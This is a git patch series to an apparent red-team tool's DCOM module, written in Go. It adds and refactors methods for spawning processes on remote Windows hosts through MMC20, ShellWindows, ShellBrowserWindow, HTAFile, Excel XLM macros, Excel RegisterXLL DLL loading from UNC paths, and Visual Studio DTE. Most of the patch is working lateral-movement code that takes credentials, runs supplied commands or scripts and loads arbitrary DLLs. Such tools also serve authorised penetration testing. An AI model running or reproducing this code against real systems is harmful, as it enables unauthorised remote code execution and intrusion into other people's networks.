defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomShellWindowsCmd.Flags().AddFlagSet(dcomShellWindowsExecFlags.Flags) - - // Constraints - dcomShellWindowsCmd.MarkFlagsOneRequired("command", "exec") + dcomShellWindowsExecFlags := newFlagSet("Execution") + registerExecutionFlags(dcomShellWindowsExecFlags.Flags) + registerExecutionOutputFlags(dcomShellWindowsExecFlags.Flags) + dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working directory `path`") + dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WindowState, "app-window", "0", "Application window state `ID`") + + cmdFlags[dcomShellWindowsCmd] = []*flagSet{ + dcomShellWindowsExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomShellWindowsCmd.Flags().AddFlagSet(dcomShellWindowsExecFlags.Flags) + + // Constraints + dcomShellWindowsCmd.MarkFlagsOneRequired("command", "exec") } func dcomShellBrowserWindowCmdInit() { - dcomShellBrowserWindowExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomShellBrowserWindowExecFlags.Flags) - registerExecutionOutputFlags(dcomShellBrowserWindowExecFlags.Flags) - dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working directory `path`") - dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WindowState, "app-window", "0", "Application window state `ID`") - - cmdFlags[dcomShellBrowserWindowCmd] = []*flagSet{ - dcomShellBrowserWindowExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomShellBrowserWindowCmd.Flags().AddFlagSet(dcomShellBrowserWindowExecFlags.Flags) - - // Constraints - dcomShellBrowserWindowCmd.MarkFlagsOneRequired("command", "exec") + dcomShellBrowserWindowExecFlags := newFlagSet("Execution") + registerExecutionFlags(dcomShellBrowserWindowExecFlags.Flags) + registerExecutionOutputFlags(dcomShellBrowserWindowExecFlags.Flags) + dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working directory `path`") + dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WindowState, "app-window", "0", "Application window state `ID`") + + cmdFlags[dcomShellBrowserWindowCmd] = []*flagSet{ + dcomShellBrowserWindowExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomShellBrowserWindowCmd.Flags().AddFlagSet(dcomShellBrowserWindowExecFlags.Flags) + + // Constraints + dcomShellBrowserWindowCmd.MarkFlagsOneRequired("command", "exec") } func dcomHtafileCmdInit() { - dcomHtafileExecFlags := newFlagSet("Execution") - dcomHtafileExecFlags.Flags.StringVarP(&dcomHtafile.Url, "url", "U", "", "Load custom `URL`") - dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Javascript, "js", "", "Execute JavaScript one-liner") - dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Vbscript, "vbs", "", "Execute VBScript one-liner") - registerExecutionFlags(dcomHtafileExecFlags.Flags) - registerExecutionOutputFlags(dcomHtafileExecFlags.Flags) - - cmdFlags[dcomHtafileCmd] = []*flagSet{ - dcomHtafileExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomHtafileCmd.Flags().AddFlagSet(dcomHtafileExecFlags.Flags) - - // Constraints - dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url", "js", "vbs") + dcomHtafileExecFlags := newFlagSet("Execution") + dcomHtafileExecFlags.Flags.StringVarP(&dcomHtafile.Url, "url", "U", "", "Load custom `URL`") + dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Javascript, "js", "", "Execute JavaScript one-liner") + dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Vbscript, "vbs", "", "Execute VBScript one-liner") + registerExecutionFlags(dcomHtafileExecFlags.Flags) + registerExecutionOutputFlags(dcomHtafileExecFlags.Flags) + + cmdFlags[dcomHtafileCmd] = []*flagSet{ + dcomHtafileExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomHtafileCmd.Flags().AddFlagSet(dcomHtafileExecFlags.Flags) + + // Constraints + dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url", "js", "vbs") } -func dcomExcelXlmCmdInit() { - dcomExcelXlmExecFlags := newFlagSet("Execution") - dcomExcelXlmExecFlags.Flags.StringVarP(&dcomExcelXlm.Macro, "macro", "M", "", "XLM macro") - dcomExcelXlmExecFlags.Flags.StringVar(&dcomExcelXlm.MacroFile, "macro-file", "", "XLM macro `file`") - registerExecutionFlags(dcomExcelXlmExecFlags.Flags) - registerExecutionOutputFlags(dcomExcelXlmExecFlags.Flags) - - cmdFlags[dcomExcelXlmCmd] = []*flagSet{ - dcomExcelXlmExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomExcelXlmCmd.Flags().AddFlagSet(dcomExcelXlmExecFlags.Flags) - - // Constraints - dcomExcelXlmCmd.MarkFlagsOneRequired("command", "exec", "macro", "macro-file") - dcomExcelXlmCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out") +func dcomExcelMacroCmdInit() { + dcomExcelMacroExecFlags := newFlagSet("Execution") + dcomExcelMacroExecFlags.Flags.StringVarP(&dcomExcelMacro.Macro, "macro", "M", "", "XLM macro") + dcomExcelMacroExecFlags.Flags.StringVar(&dcomExcelMacro.MacroFile, "macro-file", "", "XLM macro `file`") + registerExecutionFlags(dcomExcelMacroExecFlags.Flags) + registerExecutionOutputFlags(dcomExcelMacroExecFlags.Flags) + + cmdFlags[dcomExcelMacroCmd] = []*flagSet{ + dcomExcelMacroExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomExcelMacroCmd.Flags().AddFlagSet(dcomExcelMacroExecFlags.Flags) + + // Constraints + dcomExcelMacroCmd.MarkFlagsOneRequired("command", "exec", "macro", "macro-file") + dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out") } func dcomVsDteCmdInit() { - dcomVsDteExecFlags := newFlagSet("Execution") - dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute") - dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments") - registerExecutionFlags(dcomVsDteExecFlags.Flags) - registerExecutionOutputFlags(dcomVsDteExecFlags.Flags) - - cmdFlags[dcomVsDteCmd] = []*flagSet{ - dcomVsDteExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomVsDteCmd.Flags().AddFlagSet(dcomVsDteExecFlags.Flags) - - // Constraints - dcomVsDteCmd.MarkFlagsOneRequired("command", "exec", "vs-command") - dcomVsDteCmd.MarkFlagsMutuallyExclusive("command", "exec", "vs-command") - dcomVsDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out") + dcomVsDteExecFlags := newFlagSet("Execution") + dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute") + dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments") + registerExecutionFlags(dcomVsDteExecFlags.Flags) + registerExecutionOutputFlags(dcomVsDteExecFlags.Flags) + + cmdFlags[dcomVsDteCmd] = []*flagSet{ + dcomVsDteExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomVsDteCmd.Flags().AddFlagSet(dcomVsDteExecFlags.Flags) + + // Constraints + dcomVsDteCmd.MarkFlagsOneRequired("command", "exec", "vs-command") + dcomVsDteCmd.MarkFlagsMutuallyExclusive("command", "exec", "vs-command") + dcomVsDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out") +} + +func dcomExcelXllCmdInit() { + dcomExcelXllExecFlags := newFlagSet("Execution") + dcomExcelXllExecFlags.Flags.StringVar(&dcomExcelXll.XllLocation, "xll", "", "XLL/DLL local or UNC `path`") + + cmdFlags[dcomExcelXllCmd] = []*flagSet{ + dcomExcelXllExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomExcelXllCmd.Flags().AddFlagSet(dcomExcelXllExecFlags.Flags) + + // Constraints + if err := dcomExcelXllCmd.MarkFlagRequired("xll"); err != nil { + panic(err) + } } var ( - dcomMmc = dcomexec.DcomMmc{} - dcomShellWindows = dcomexec.DcomShellWindows{} - dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{} - dcomHtafile = dcomexec.DcomHtafile{} - dcomExcelXlm = dcomexec.DcomExcelXlm{} - dcomVisualStudioDte = dcomexec.DcomVisualStudioDte{} - - dcomCmd = &cobra.Command{ - Use: "dcom", - Short: "Execute with Distributed Component Object Model (MS-DCOM)", - Long: `Description: + dcomMmc = dcomexec.DcomMmc{} + dcomShellWindows = dcomexec.DcomShellWindows{} + dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{} + dcomHtafile = dcomexec.DcomHtafile{} + dcomExcelMacro = dcomexec.DcomExcelMacro{} + dcomExcelXll = dcomexec.DcomExcelXll{} + dcomVisualStudioDte = dcomexec.DcomVisualStudioDte{} + + dcomCmd = &cobra.Command{ + Use: "dcom", + Short: "Execute with Distributed Component Object Model (MS-DCOM)", + Long: `Description: The dcom module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes.`, - GroupID: "module", - Args: cobra.ArbitraryArgs, - } - - dcomMmcCmd = &cobra.Command{ - Use: "mmc [target]", - Short: "Execute with the MMC20.Application DCOM object", - Long: `Description: + GroupID: "module", + Args: cobra.ArbitraryArgs, + } + + dcomMmcCmd = &cobra.Command{ + Use: "mmc [target]", + Short: "Execute with the MMC20.Application DCOM object", + Long: `Description: The mmc method uses the exposed MMC20.Application object to call Document.ActiveView.ShellExec, and ultimately spawn a process on the remote host.`, - Args: args(argsRpcClient("host", ""), - argsOutput("smb"), - argsAcceptValues("window", &dcomMmc.WindowState, "Minimized", "Maximized", "Restored"), - ), - Run: func(cmd *cobra.Command, args []string) { - dcomMmc.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodMmc). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomMmc, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } - - dcomShellWindowsCmd = &cobra.Command{ - Use: "shellwindows [target]", - Short: "Execute with the ShellWindows DCOM object", - Long: `Description: + Args: args(argsRpcClient("cifs", ""), + argsOutput("smb"), + argsAcceptValues("window", &dcomMmc.WindowState, "Minimized", "Maximized", "Restored"), + ), + Run: func(cmd *cobra.Command, args []string) { + dcomMmc.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodMmc). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomMmc, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomShellWindowsCmd = &cobra.Command{ + Use: "shellwindows [target]", + Short: "Execute with the ShellWindows DCOM object", + Long: `Description: The shellwindows method uses the exposed ShellWindows DCOM object on older Windows installations to call Item().Document.Application.ShellExecute, and spawn the provided process.`, - Args: args(argsRpcClient("host", ""), - argsOutput("smb"), - argsAcceptValues("app-window", &dcomShellWindows.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), - ), - Run: func(cmd *cobra.Command, args []string) { - dcomShellWindows.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellWindows). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomShellWindows, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } - - dcomShellBrowserWindowCmd = &cobra.Command{ - Use: "shellbrowserwindow [target]", - Short: "Execute with the ShellBrowserWindow DCOM object", - Long: `Description: + Args: args(argsRpcClient("host", ""), + argsOutput("smb"), + argsAcceptValues("app-window", &dcomShellWindows.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), + ), + Run: func(cmd *cobra.Command, args []string) { + dcomShellWindows.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellWindows). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomShellWindows, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomShellBrowserWindowCmd = &cobra.Command{ + Use: "shellbrowserwindow [target]", + Short: "Execute with the ShellBrowserWindow DCOM object", + Long: `Description: The shellbrowserwindow method uses the exposed ShellBrowserWindow DCOM object on older Windows installations to call Document.Application.ShellExecute, and spawn the provided process.`, - Args: args(argsRpcClient("host", ""), - argsOutput("smb"), - argsAcceptValues("app-window", &dcomShellBrowserWindow.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), - ), - Run: func(cmd *cobra.Command, args []string) { - dcomShellBrowserWindow.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellBrowserWindow). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomShellBrowserWindow, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } - - dcomHtafileCmd = &cobra.Command{ - Use: "htafile [target]", - Short: "Execute with the HTAFile DCOM object", - Long: `Description: + Args: args(argsRpcClient("host", ""), + argsOutput("smb"), + argsAcceptValues("app-window", &dcomShellBrowserWindow.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), + ), + Run: func(cmd *cobra.Command, args []string) { + dcomShellBrowserWindow.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellBrowserWindow). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomShellBrowserWindow, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomHtafileCmd = &cobra.Command{ + Use: "htafile [target]", + Short: "Execute with the HTAFile DCOM object", + Long: `Description: The htafile method uses the exposed "HTML Application" DCOM object to load a remote HTA application or execute inline. This is made possible by the Load method of the IPersistMoniker interface.`, - Args: args(argsRpcClient("host", ""), argsOutput("smb")), - RunE: func(cmd *cobra.Command, args []string) error { - dcomHtafile.Client = &rpcClient - dcomHtafile.Url = dcomexec.HtafileGetUrl(dcomHtafile.Url, dcomHtafile.Javascript, dcomHtafile.Vbscript, &exec) - - if url := strings.ToLower(dcomHtafile.Url); - (strings.HasPrefix(url, "javascript:") || strings.HasPrefix(url, "vbscript:")) && len(url) > 508 { - return fmt.Errorf("script URL exceeds maximum length supported by mshta.exe (%d > 508)", len(url)) - } - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodHtafile). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomHtafile, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - return nil - }, - } - - dcomExcelXlmCmd = &cobra.Command{ - Use: "excel-xlm [target]", - Short: "Execute with the Excel.Application DCOM object using XLM macros", - Long: `Description: + Args: args(argsRpcClient("host", ""), argsOutput("smb")), + RunE: func(cmd *cobra.Command, args []string) error { + dcomHtafile.Client = &rpcClient + dcomHtafile.Url = dcomexec.HtafileGetUrl(dcomHtafile.Url, dcomHtafile.Javascript, dcomHtafile.Vbscript, &exec) + + if url := strings.ToLower(dcomHtafile.Url); (strings.HasPrefix(url, "javascript:") || strings.HasPrefix(url, "vbscript:")) && len(url) > 508 { + return fmt.Errorf("script URL exceeds maximum length supported by mshta.exe (%d > 508)", len(url)) + } + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodHtafile). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomHtafile, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + return nil + }, + } + + dcomExcelMacroCmd = &cobra.Command{ + Use: "excel-xlm [target]", + Short: "Execute with the Excel.Application DCOM object by executing an Excel macro", + Long: `Description: The excel-xlm method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing XLM macros at will. This method requires that the remote host has Microsoft Excel installed.`, - Args: args(argsRpcClient("host", ""), argsOutput("smb"), - func(*cobra.Command, []string) error { - if dcomExcelXlm.MacroFile != "" { - f, err := os.Open(dcomExcelXlm.MacroFile) - if err != nil { - return fmt.Errorf("open macro file: %w", err) - } - defer func() { _ = f.Close() }() - b, err := io.ReadAll(f) - if err != nil { - return fmt.Errorf("read macro file: %w", err) - } - dcomExcelXlm.Macro = string(b) - } - return nil - }, - ), - Run: func(*cobra.Command, []string) { - dcomExcelXlm.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelXlm). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomExcelXlm, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } - - dcomVsDteCmd = &cobra.Command{ - Use: "vs-dte [target]", - Short: "Execute with the VisualStudio.DTE object", - Long: `Description: + Args: args(argsRpcClient("host", ""), argsOutput("smb"), + func(*cobra.Command, []string) error { + if dcomExcelMacro.MacroFile != "" { + f, err := os.Open(dcomExcelMacro.MacroFile) + if err != nil { + return fmt.Errorf("open macro file: %w", err) + } + defer func() { _ = f.Close() }() + b, err := io.ReadAll(f) + if err != nil { + return fmt.Errorf("read macro file: %w", err) + } + dcomExcelMacro.Macro = string(b) + } + return nil + }, + ), + Run: func(*cobra.Command, []string) { + dcomExcelMacro.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelMacro). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomExcelMacro, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomExcelXllCmd = &cobra.Command{ + Use: "excel-xll [target]", + Short: "Execute with the Excel.Application DCOM object by registering an XLL add-in", + Long: `Description: + The excel-xll method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL. + The XLL location (--xll) can be a path on the remote filesystem or an UNC path. This method requires that the + remote host has Microsoft Excel installed.`, + Args: args(argsRpcClient("host", "")), + Run: func(*cobra.Command, []string) { + dcomExcelXll.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelXLL). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanAuxiliaryMethod(ctx, &dcomExcelXll); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomVsDteCmd = &cobra.Command{ + Use: "vs-dte [target]", + Short: "Execute with the VisualStudio.DTE object", + Long: `Description: The vs-dte method uses the exposed VisualStudio.DTE object to spawn a process via the ExecuteCommand method. This method requires that the remote host has Microsoft Visual Studio installed.`, - Args: args(argsRpcClient("host", ""), argsOutput("smb")), - Run: func(*cobra.Command, []string) { - dcomVisualStudioDte.Client = &rpcClient - ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodVisualStudioDTE). - Logger().WithContext(gssapi.NewSecurityContext(context.Background())) - - if err := goexec.ExecuteCleanMethod(ctx, &dcomVisualStudioDte, &exec); err != nil { - log.Fatal().Err(err).Msg("Operation failed") - } - }, - } + Args: args(argsRpcClient("host", ""), argsOutput("smb")), + Run: func(*cobra.Command, []string) { + dcomVisualStudioDte.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodVisualStudioDTE). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomVisualStudioDte, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } ) diff --git a/pkg/goexec/dcom/excel.go b/pkg/goexec/dcom/excel.go index f3173f1..82c74ea 100644 --- a/pkg/goexec/dcom/excel.go +++ b/pkg/goexec/dcom/excel.go @@ -1,75 +1,118 @@ package dcomexec import ( - "context" - "errors" - "fmt" - "strings" - "syscall" + "context" + "errors" + "fmt" + "strings" + "syscall" - "github.com/FalconOpsLLC/goexec/internal/util" - "github.com/FalconOpsLLC/goexec/pkg/goexec" - "github.com/oiweiwei/go-msrpc/midl/uuid" - "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" - "github.com/rs/zerolog" + "github.com/FalconOpsLLC/goexec/internal/util" + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + "github.com/rs/zerolog" ) const ( - MethodExcelXlm = "Excel:ExecuteExcel4Macro" - ExcelApplicationUuid = "00020812-0000-0000-C000-000000000046" + MethodExcelMacro = "Excel:ExecuteExcel4Macro" + MethodExcelXLL = "Excel:RegisterXLL" + ExcelApplicationUuid = "00020812-0000-0000-C000-000000000046" ) -type DcomExcelXlm struct { - Dispatch - Macro string - MacroFile string +type DcomExcel struct { + Dispatch +} + +type DcomExcelMacro struct { + DcomExcel + Macro string + MacroFile string + NoTerminate bool +} + +type DcomExcelXll struct { + DcomExcel + XllLocation string + NoTerminate bool } // Init will initialize the ShellBrowserWindow instance -func (m *DcomExcelXlm) Init(ctx context.Context) (err error) { - if err = m.Dcom.Init(ctx); err == nil { - return m.getDispatch(ctx, uuid.MustParse(ExcelApplicationUuid)) - } - return +func (m *DcomExcel) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(ExcelApplicationUuid)) + } + return +} + +// quit will terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()") +func (m *DcomExcel) quit(ctx context.Context) (err error) { + log := zerolog.Ctx(ctx) + quit := "QUIT()" + log.Info(). + Str("call", "ExecuteExcel4Macro"). + Str("macro", quit). + Msg("terminating Excel process") + qr, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(quit)) + _ = qr + if err != nil { + if errors.Is(err, syscall.ECONNRESET) { + log.Info().Msg("Excel process terminated") + return nil + } + log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s") failed`, quit) + } + if qr.Return != 0 { + err = hresult.FromCode(uint32(qr.Return)) + log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s"): %d`, quit, qr.Return) + } + + return err +} + +func (m *DcomExcelMacro) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { + log := zerolog.Ctx(ctx) + if m.Macro == "" { + m.Macro = fmt.Sprintf(`EXEC("%s")`, strings.ReplaceAll(execIO.String(), `"`, `""`)) + } + if !m.NoTerminate { // Terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()") + defer func() { + _ = m.quit(ctx) + }() + } + // Call ExecuteExcel4Macro to execute macro + log.Info(). + Str("call", "ExecuteExcel4Macro"). + Str("macro", util.Truncate(m.Macro, 100)). + Msg("executing Excel macro") + ir, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(m.Macro)) + if err != nil { + return err + } + if ir.Return != 0 { + return hresult.FromCode(uint32(ir.Return)) + } + log.Info().Msg("ExecuteExcel4Macro call successful") + + return } -func (m *DcomExcelXlm) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { - log := zerolog.Ctx(ctx) - if m.Macro == "" { - m.Macro = fmt.Sprintf(`EXEC("%s")`, strings.ReplaceAll(execIO.String(), `"`, `""`)) - } - { // Call ExecuteExcel4Macro to execute macro - log.Info(). - Str("call", "ExecuteExcel4Macro"). - Str("macro", util.Truncate(m.Macro, 255)). - Msg("executing Excel macro") - ir, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(m.Macro)) - if err != nil { - return err - } - if ir.Return != 0 { - return hresult.FromCode(uint32(ir.Return)) - } - log.Info().Msg("ExecuteExcel4Macro call successful") - } - { // Terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()") - quit := "QUIT()" - log.Info(). - Str("call", "ExecuteExcel4Macro"). - Str("macro", quit). - Msg("terminating Excel process") - qr, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(quit)) - _ = qr - if err != nil { - if errors.Is(err, syscall.ECONNRESET) { - log.Info().Msg("Excel process terminated") - return nil - } - return fmt.Errorf(`call ExecuteExcel4Macro("%s"): %w`, quit, err) - } - if qr.Return != 0 { - return hresult.FromCode(uint32(qr.Return)) - } - } - return +func (m *DcomExcelXll) Call(ctx context.Context) (err error) { + log := zerolog.Ctx(ctx) + if !m.NoTerminate { + defer func() { + _ = m.quit(ctx) + }() + } + qr, err := m.callComMethod(ctx, nil, "Application.RegisterXLL", stringToVariant(m.XllLocation)) + if err != nil { + return fmt.Errorf("call RegisterXLL: %w", err) + } + log.Info().Msg("RegisterXLL call successful") + if stat, ok := qr.VarResult.VarUnion.GetValue().(bool); ok && stat { + log.Info().Bool("res", stat).Int32("return", qr.Return).Msg("XLL registered successfully") + } else { + log.Warn().Bool("res", stat).Int32("return", qr.Return).Msg("Execution may have failed") + } + return } From 8cd79de17547a3681597041953c392eea3ceb69b Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Tue, 30 Sep 2025 22:24:41 -0500 Subject: [PATCH 20/34] Fix tab indent from `go fmt` --- cmd/dcom.go | 616 ++++++++++++++++++++++++++-------------------------- 1 file changed, 308 insertions(+), 308 deletions(-) diff --git a/cmd/dcom.go b/cmd/dcom.go index ff260d4..6775971 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -1,355 +1,355 @@ package cmd import ( - "context" - "fmt" - "io" - "os" - "strings" - - "github.com/FalconOpsLLC/goexec/pkg/goexec" - dcomexec "github.com/FalconOpsLLC/goexec/pkg/goexec/dcom" - "github.com/oiweiwei/go-msrpc/ssp/gssapi" - "github.com/spf13/cobra" + "context" + "fmt" + "io" + "os" + "strings" + + "github.com/FalconOpsLLC/goexec/pkg/goexec" + dcomexec "github.com/FalconOpsLLC/goexec/pkg/goexec/dcom" + "github.com/oiweiwei/go-msrpc/ssp/gssapi" + "github.com/spf13/cobra" ) func dcomCmdInit() { - cmdFlags[dcomCmd] = []*flagSet{ - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomMmcCmdInit() - dcomShellWindowsCmdInit() - dcomShellBrowserWindowCmdInit() - dcomHtafileCmdInit() - dcomExcelMacroCmdInit() - dcomExcelXllCmdInit() - dcomVsDteCmdInit() - - dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) - dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) - dcomCmd.PersistentFlags().AddFlagSet(defaultNetRpcFlags.Flags) - dcomCmd.AddCommand( - dcomMmcCmd, - dcomShellWindowsCmd, - dcomShellBrowserWindowCmd, - dcomHtafileCmd, - dcomExcelMacroCmd, - dcomExcelXllCmd, - dcomVsDteCmd, - ) + cmdFlags[dcomCmd] = []*flagSet{ + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomMmcCmdInit() + dcomShellWindowsCmdInit() + dcomShellBrowserWindowCmdInit() + dcomHtafileCmdInit() + dcomExcelMacroCmdInit() + dcomExcelXllCmdInit() + dcomVsDteCmdInit() + + dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) + dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) + dcomCmd.PersistentFlags().AddFlagSet(defaultNetRpcFlags.Flags) + dcomCmd.AddCommand( + dcomMmcCmd, + dcomShellWindowsCmd, + dcomShellBrowserWindowCmd, + dcomHtafileCmd, + dcomExcelMacroCmd, + dcomExcelXllCmd, + dcomVsDteCmd, + ) } func dcomMmcCmdInit() { - dcomMmcExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomMmcExecFlags.Flags) - registerExecutionOutputFlags(dcomMmcExecFlags.Flags) - dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WorkingDirectory, "directory", `C:\`, "Working `directory`") - dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WindowState, "window", "Minimized", "Window state") - - cmdFlags[dcomMmcCmd] = []*flagSet{ - dcomMmcExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomMmcCmd.Flags().AddFlagSet(dcomMmcExecFlags.Flags) - - // Constraints - dcomMmcCmd.MarkFlagsOneRequired("command", "exec") + dcomMmcExecFlags := newFlagSet("Execution") + registerExecutionFlags(dcomMmcExecFlags.Flags) + registerExecutionOutputFlags(dcomMmcExecFlags.Flags) + dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WorkingDirectory, "directory", `C:\`, "Working `directory`") + dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WindowState, "window", "Minimized", "Window state") + + cmdFlags[dcomMmcCmd] = []*flagSet{ + dcomMmcExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomMmcCmd.Flags().AddFlagSet(dcomMmcExecFlags.Flags) + + // Constraints + dcomMmcCmd.MarkFlagsOneRequired("command", "exec") } func dcomShellWindowsCmdInit() { - dcomShellWindowsExecFlags := newFlagSet("Execution") - 